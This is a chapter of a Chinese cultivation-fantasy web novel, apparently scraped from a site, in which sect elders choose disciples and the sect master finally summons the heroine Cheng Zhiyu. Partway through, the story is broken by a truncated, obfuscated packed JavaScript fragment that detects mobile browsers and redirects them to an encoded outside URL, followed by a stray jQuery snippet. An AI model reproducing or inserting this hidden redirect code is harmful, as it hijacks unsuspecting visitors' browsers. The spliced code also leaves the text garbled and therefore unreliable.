傅逾白走在最前面,自然也能清晰地听到这一番话。
但他仿佛见怪不怪一般,手握拳抵在唇边,轻咳了几声。
很神奇,里面立刻变得鸦雀无声。
他敲了敲石门,里面明明有人,却不知为何过了好一阵那石门才缓慢打开。
“各位进来吧。”
说话的是玉清真人,端坐在最上方,脸色依旧带着如沐春风的笑容,可青色长衫不知为何颇有些凌乱。
他们刚才不会是在里面互殴吧……
程知鱼嘴角抽动了几下,偷偷看向坐在玉清真人身侧的几位长老。
只见一位须发半百的老者笑呵呵地坐在宗主身侧,白眉大耳,一脸慈祥地看着众人,不像是宗门长老,倒像是一位亲切的邻家爷爷。
这应该就是宗主口中的淮南子了。
至于为什么程知鱼能一眼认出呢,除了标志性的稀疏头发外,还有就是他腰间的玉葫芦。
浓烈的药香味从葫芦中溢出,飘满整个内殿。
淮南子见众人都不说话,便高声笑道:“这便是我青云宗新收的几位弟子吧。”
傅逾白朝他抱拳躬身,应道:“正是,人都在这了。”
淮南子摸了摸自己的山羊胡,笑眯眯地点头,看向阶下的几人,问道:“可有人想跟着我学习炼丹之术?”
程知鱼也曾听闻淮南子的名号,虽不如宗主玉清真人,但在这修真界也是如雷贯耳的存在。据说他不仅有着一手出神入化的炼丹之术,就连医术也是无人能出其右。
从他手中得到的丹药,无论放在何处都是有市无价的珍宝,甚至在市面上有一传言:只要得其破厄丹,便能突破境界限制。
市面上的商人也口口相传:宁吞仙丸,不要玉璧。
程知鱼思及此,难免有些动心,这可是仙丹,只要卖一颗,那她岂不是从此与贫困说再见了。
她正打算上前毛遂自荐一番,却被身旁一位少年抢先一步。这少年也是个沉默寡言的主,从头到尾程知鱼也没见他说过几句话,斯斯文文的长相,看上去倒像个书生。本以为是个懦弱的,没想到竟对丹药感兴趣。
淮南子见少年上前,笑开了花,眼角的褶皱堆积得把视线几乎吞没了,“好!好啊!”
他牵起少年的手举过头顶,笑声几乎要淹没整个大殿,一时竟连少年的名字都忘了问。
“弟子顾渊,见过师傅。”
少年认认真真地向淮南子行了拜师礼,代表着正式入了他的师门。
程知鱼眼见拜师礼成,还是有些不甘,毕竟淮南子也没说只收一人为徒吧。
她正打算举手示意,却没想到一旁的淮南子快速撇了她一眼,又迅速挪开。像一条狡猾的鱼躲开了程知鱼伸出的手。
程知鱼这辈子也想不到自己能用狡猾来形容这位德高望重的长老……
“咳咳,既然没有其他人愿意,那便作罢。”
说罢朝各位长老抱了抱手,便带着顾渊离开了大殿。
程知鱼:?
她有些摸不着头脑,那淮南子分明看见了她,却不愿收她为徒,难道说自己的身份被看穿了吗?
程知鱼有些淡淡的不安,又安慰自己或许是淮南子并未看见自己,是自己想多了,所以决定将目光投向其他长老身上。
“这个淮南子,师兄还没选呢,倒是被他提前挑走了一个好苗子。”
程知鱼顺着声音看去,心尖也微微颤了一下,世间竟有如此美丽的女子!
一袭紫衣华裳,衣袂翩翩,秋水明眸,红唇皓齿,身姿婀娜,一颦一笑间尽是娇媚。
那女子黛眉微蹙,撩起耳边垂落的发丝,不满地朝着玉清真人诉说着。
“好了师妹,那老头你又不是第一天认识他。”玉清真人看上去倒像是早就习惯了淮南子的作风,也懒得去管。
“师妹可有心仪之人?”一直端坐着一言不发的一位长老开口问道。
程知鱼不敢正大光明地看这位长老,只得偷偷眯眼瞧去,只因这位长老颇有些粗犷英武。
不像是玉清真人那种风度翩翩的美男子,倒像是战场上杀敌无数的大将军,古铜色的皮肤上满是长年累月修炼留下的痕迹,一双深邃的眼睛仿佛能看透世间一切邪恶。
“说来我倒是真有一满意的弟子”
那貌美女子挑了挑眉,涂着蔻丹的玉指似是随意一指,众人的视线便落在了姜拂雪的身上。
姜拂雪无措地看着那女子,脸颊微微有些涨红。
“我、我什么都不会……”
她口中嗫嚅,身体有些颤抖,还是不习惯这种万众瞩目的感觉。
“你这小女娃,可知她是谁,难得她主动收徒,还不跪下拜师。”
方才开口的是正是那英武非凡的长老,竖眉立目,颇有不怒自威的感觉。
“哎呀,师兄,你别吓到她了。”
那女子伸手拦了一下,走到姜拂雪身前,俯下身子看着姜拂雪。
“我乃青霞仙子玉如白,可曾听闻过我的名号?”
程知鱼有些震惊,没想到面前这美艳女子竟然是名震天下的青霞仙子。
据史料记载,她只身入魔族,用她的名琴同尘捣毁了魔族数个据点,且全身而退,是个举世无双的妙人。
这可是千载难逢的机会,程知鱼拽了拽姜拂雪的袖子,示意她赶紧拜师。
不想姜拂雪却有些茫然,她确实不曾听闻过青霞仙子的名号,诚实地摇了摇头。
青霞仙子被她逗笑了,涂着蔻丹的手轻拂过姜拂雪的脸颊,捏了捏。
“难道我玉如白已经被新人取代了吗?”
她顿了顿,对转头对玉清真人说道:“师兄,我就要她了!”
姜拂雪有些激动也有些紧张,她不曾见过如此大的场面,也不曾被人如此坚定的选择过,霎时有些红了眼眶。
过了一会又像突然反应过来似的,忙跪下重重地磕了一个响头,那声音在空旷的大殿内不停地回荡。
“傻孩子,从今天起,你就是我玉如白的弟子了。”
青霞仙子伸手将姜拂雪从地上扶起来,看着她额头上一片红肿的痕迹,既心疼又无奈。
程知鱼打心底里替姜拂雪感到高兴,心疼她一路上的遭遇,终于凭自己的努力获得了一个疼爱自己的师傅,也是皆大欢喜的事。
眼见身边熟悉的人都被挑走,程知鱼也开始着急了起来,这几位长老选择的是内门弟子,也可以说是把最好的资源都留给这些亲传弟子了。
她曾听闻玉清真人在收傅逾白后就说不再收弟子,所以她也并没有寄希望于玉清真人。
可……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093255|195530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她转头去看那长相粗犷的长老,如果她所料不错,这位长老应是那愠山道人,一把缀离刀荡尽世间邪魔。
刀修……
她没记错的话,陆云峥好像也是刀修吧。
按照惯例来说,他的男主光环该发挥作用了。
“你可是刀修?”愠山道人沉默了一会,把视线停留在了陆云峥的身上。
果然如此。
除了宗主之外所有的长老皆有自己心仪的人选,那剩下的弟子便只能成为外门弟子,负责洒扫看护等杂役,无论是资源还是地位都远不如内门弟子。
可尽管如此,还是有无数人为此前仆后继,哪怕做一个普通的外门弟子,地位也是普通人远不能及的。
可恶的修真界。
算了,炮灰就要有炮灰的觉悟,再怎么说起码进了不是?
大不了之后再找机会进入内门就是了。
不知道自己这个身体还能不能撑到她进入内门的那一天。
大殿安静了下来,几位长老身侧都站了人,姜拂雪却有些担忧,她知道虽然程知鱼面上装作什么都不在乎的模样,可心里对这次机会看得很重。
她看向师傅,眼里闪过纠结,要不试着求求师傅呢。
青霞仙子把手轻轻搭在她肩头,意思不言而喻了,姜拂雪只得放弃这个念头,眉头皱作一团。
程知鱼往人群后缩了缩,开始打算起自己日后的生活。
要是被分配到杂役的话,那月俸估计少得可怜,也难接近跟神器有关的线索了。
世道艰难啊……
她忍不住长叹一口气。
傅逾白被她一脸命苦的神情逗得低笑起来,薄唇微抿,笑意简直要溢出眼底。
……笑笑笑,有什么好笑的,她都这么惨了还笑。
程知鱼狠狠瞪了他一眼,这是也不管什么同门情谊了,反正她将来是外门弟子,怎么也碰不着他。
这样想着,越发理直气壮了起来,还悄悄翻了白眼。
傅逾白气笑了,真当他眼睛瞎了吗?
他看着程知鱼张牙舞爪的样子,突然想起了他第一天遇见程知鱼的模样,小小的身体却被血污所覆盖,全身上下满是伤口,可怜兮兮地蜷缩在地上,像一只被人抛弃的小猫。
傅逾白突然觉得现在这样也挺好,起码不是从前那副弱不禁风的模样了。
“真傻。”傅逾白低喃道。
程知鱼自然听不到这一声,却被一旁的玉清真人听得真真切切。
他偏头看向傅逾白,却发现自己这个平日里总是藏着心事的徒儿面对这个小姑娘时却能变得像一个少年人,仿佛卸下了重担一般。
玉清真人甚感欣慰,想找找程知鱼问她是否想做他的弟子,可却发现她已经溜到队伍的最后面去了。
无奈,他只好大声喊道:“程知鱼何在!”
“在!在这!”程知鱼突然被点名,有些不知所措,身高原因导致她已经完全淹没在众人之中,
没办法,她只能一边跳起来一边举手让玉清真人能够看到她。
“孩子,上前来。”
玉清真人朝她招了招手,示意程知鱼到他面前去。
程知鱼内心有些忐忑不安,抬头便见玉清真人目光灼灼地看着她。
“你可愿做我玉清真人的弟子?”